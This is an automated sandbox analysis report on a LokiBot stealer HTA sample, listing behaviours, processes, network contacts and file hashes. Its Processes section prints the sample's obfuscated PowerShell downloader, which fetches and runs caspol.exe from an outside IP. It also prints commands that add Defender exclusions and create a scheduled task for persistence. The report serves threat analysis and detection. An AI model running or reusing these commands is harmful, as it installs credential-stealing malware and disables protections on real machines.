Malware Analysis Report

2025-04-03 09:51

Sample ID 241118-v6j5kssbqk
Target seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta
SHA256 b32a47004e6134879604cb3246c89b351bc5fb2547b1d87070846c5719951727
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b32a47004e6134879604cb3246c89b351bc5fb2547b1d87070846c5719951727

Threat Level: Known bad

The file seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Lokibot

Lokibot family

Downloads MZ/PE file

Evasion via Device Credential Deployment

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Checks computer location settings

Executes dropped EXE

Reads user/profile data of web browsers

Loads dropped DLL

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

Enumerates physical storage devices

System Location Discovery: System Language Discovery

outlook_win_path

outlook_office_path

Suspicious use of WriteProcessMemory

Scheduled Task/Job: Scheduled Task

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-18 17:36

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-18 17:36

Reported

2024-11-18 17:38

Platform

win7-20240903-en

Max time kernel

145s

Max time network

149s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta"

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1728 set thread context of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1404 wrote to memory of 484 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 1404 wrote to memory of 484 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 1404 wrote to memory of 484 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 1404 wrote to memory of 484 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 484 wrote to memory of 2432 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 484 wrote to memory of 2432 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 484 wrote to memory of 2432 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 484 wrote to memory of 2432 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 484 wrote to memory of 2776 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 484 wrote to memory of 2776 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 484 wrote to memory of 2776 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 484 wrote to memory of 2776 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2776 wrote to memory of 2596 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2776 wrote to memory of 2596 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2776 wrote to memory of 2596 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2776 wrote to memory of 2596 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 484 wrote to memory of 1728 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 484 wrote to memory of 1728 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 484 wrote to memory of 1728 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 484 wrote to memory of 1728 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1728 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1728 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1728 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1728 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1728 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta"

C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE

"C:\Windows\SysTEm32\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE" "PoWErShELl.EXe -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt ; iNvoke-eXPrEssion($(iNvoKe-ExprESsiOn('[syStEm.TExT.eNCOdING]'+[cHAR]58+[CHar]58+'Utf8.gEtsTrING([SySTeM.CoNVERt]'+[char]58+[Char]58+'fromBAse64StrIng('+[char]34+'JEtQeWw1UEl4REFxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlUmRlRklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVwR2NKekppUyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdtRWZCcVZKd2IsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT2hlbmlXY0dJKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNLZGFobmZjYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1dTdUFVSGV4bSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkS1B5bDVQSXhEQXE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzM2L2Nhc3BvbC5leGUiLCIkZW5WOkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzdGFSVC1TbGVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHAr]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cwze1s9x.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE274.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE273.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bdWEysRwjYwmy.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bdWEysRwjYwmy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp711B.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 192.3.243.136:80 192.3.243.136 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 0d7f70e04f33c04ce8dd9330b263843c
SHA1 30dab154ed436b5dfe3167a5e46bd4703557b32f
SHA256 29bf57c380e228b8f9edb77f40cd72c244f26fbc91a9c077025e662ce75c4fc3
SHA512 64e03e30a8173df3a5223484af5b356208316392856be76282b568f9ac985cf385b933fc1925c4ea4ca42688d958b3f7d737c5fc05372e844aaea490eedb205e

\??\c:\Users\Admin\AppData\Local\Temp\cwze1s9x.cmdline

MD5 bdf4022164a22c97c8ba867b49c343b3
SHA1 b99a0a9a053dd04b3a38deafdbc47c63cb8e2b0c
SHA256 4df89fb32e2ca30561e621bd9e24b082e05e9bb18523103d007adc541de66bf6
SHA512 54529b0b0d095877a4a20e537533b7b1a1fa2006c2099041985bb07ee649233c44bc032f9c7d01e87715a1ca91e490db2ee4d46370d784d1ac0fdd957e139869

\??\c:\Users\Admin\AppData\Local\Temp\cwze1s9x.0.cs

MD5 ee60617752b2061187e3773f962ff810
SHA1 5d3dc400820671b51499e9003fcbd7794d07e315
SHA256 69736289404f9f61bb67a99a24945aaa347591458b09f4dd686bbc58d8b25ce9
SHA512 5bf701c77b31bcf3421fa2cc4649127b54656175bdfb238ddca8606063ceec69fd76d2f611b5f55f246a3003d3fd76b1b318fa0fc4cb1b10d9b8b04e153bf231

\??\c:\Users\Admin\AppData\Local\Temp\CSCE273.tmp

MD5 7946b5d8799b17c0f43cd5200524848b
SHA1 d1591410e6b5124bf8e04f561444bdc77797b249
SHA256 ef81a3e57f33f5cee9fa38ebc2bd96c208de3ea7db103b18536e2a9c90f600e2
SHA512 830dad1da4baa2e2c23bf342eb601664c1c5f114e405cbd3949d150d4964f7709e350dc8d49dccf1efc540e0f35a26b31e55f6e2de059a0c58737eca6059c2c3

C:\Users\Admin\AppData\Local\Temp\RESE274.tmp

MD5 450245980e4a0b91980cb710df5cd234
SHA1 a790c8dfbed1cf6cbc2ca8f97a9c14b857c67ada
SHA256 ce4a0471b9bfad7dffe9b886e97dcc6bf050d2e66751472a237bbdf092a49079
SHA512 92616cbe1a5d1f68cdfe9b4e819f3531fc2c093c9f9d527048048f76bb12401b07a618d4a79666441a46932fef4be0dcb28a45ac28bcc4726efff3476fbd0604

C:\Users\Admin\AppData\Local\Temp\cwze1s9x.dll

MD5 e46c72f16f0802494a68a28b949017e1
SHA1 97768e4f17c9fde9ba8b82092c786a578591cbc5
SHA256 c61c63edd36917bf8adb2c3f94860657aa68d7923b1a30c9029c71cfd0fcb30d
SHA512 5b67be0d2f6929f82fbe3557562b898574368a5ff7b1d778a4b9763bcf0e01377175f58fe63c585fe10ef1bb7da3fa9d4f421bddef254421818375bce4b88c88

C:\Users\Admin\AppData\Local\Temp\cwze1s9x.pdb

MD5 79ce7a5d11a2d8f07a481dfdc96454bb
SHA1 7017c7beb43ecad9f761af2aee6f6357c2124725
SHA256 38c73c5bc38a191be96b536e7ee1c1af81b0677168c393b81afc4f8293527211
SHA512 651615bf6b1ed7466ac6721abcf0dbc7806d7c7ec265ad20925c8d819e8f29136aea2cc74b793be2a3da396e40296c854afcd52a641f274cbf81b02c752f6c8c

\Users\Admin\AppData\Roaming\caspol.exe

MD5 8c34e99269d4121a0dfe4c3eaa9e269f
SHA1 5bbaa7dc726324e057eb4f78856c368488c4805a
SHA256 2899cb71414f7d46a6be0d40a5ba017d407a41f291154ea6a86f421754d11a76
SHA512 99f3cc287b9437ee888371fac3cf37d77d39c9468086feb0c80f4a0a4cc8a750c0b2798ec32a90aea3c88ed67c36005bcfd81d8e439edcdaca9e60caa1f3f277

memory/1728-44-0x00000000000F0000-0x0000000000172000-memory.dmp

memory/1728-45-0x00000000004D0000-0x00000000004E2000-memory.dmp

memory/1728-46-0x00000000048E0000-0x0000000004944000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 d8c8dfb4ef4f7328589ebd1cad89ab37
SHA1 04d6f797e7eb5b67d3f162815762b31bd3d801e5
SHA256 0eae7d98efcc5cbdcdbebe37255078c197592631a788133b6248b153e8c84d65
SHA512 f36691b3f5013554c905b5e5609b496d4f5bf388e1e92d0127cc22fc440a87006ba748690725833acc17682e36e626eff4d1992e9b3d1cddfba1bc73375d1c26

C:\Users\Admin\AppData\Local\Temp\tmp711B.tmp

MD5 4eaac05c61f1e8a55497b156f92f1671
SHA1 dd1fe1eac7da8df6c5938655b84cb1447d8920b6
SHA256 1965181bb33ded12dd71eca0de02950457e760df5e4eaf2302a83209b2eb125c
SHA512 33898c42e189f89333c04aa7dc175e0a3a0b78f7c7783e273d60d173c03b86af9e96e180f03c354ed1855f28f9c3be479e621daa96cc88c898088a502f889824

memory/1736-63-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1736-72-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1736-77-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1736-75-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1736-74-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1736-70-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1736-68-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1736-66-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2872745919-2748461613-2989606286-1000\0f5007522459c86e95ffcc62f32308f1_4d69f9e1-559c-46cf-82ac-67913db47c55

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2872745919-2748461613-2989606286-1000\0f5007522459c86e95ffcc62f32308f1_4d69f9e1-559c-46cf-82ac-67913db47c55

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-18 17:36

Reported

2024-11-18 17:38

Platform

win10v2004-20241007-en

Max time kernel

129s

Max time network

147s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4160 set thread context of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
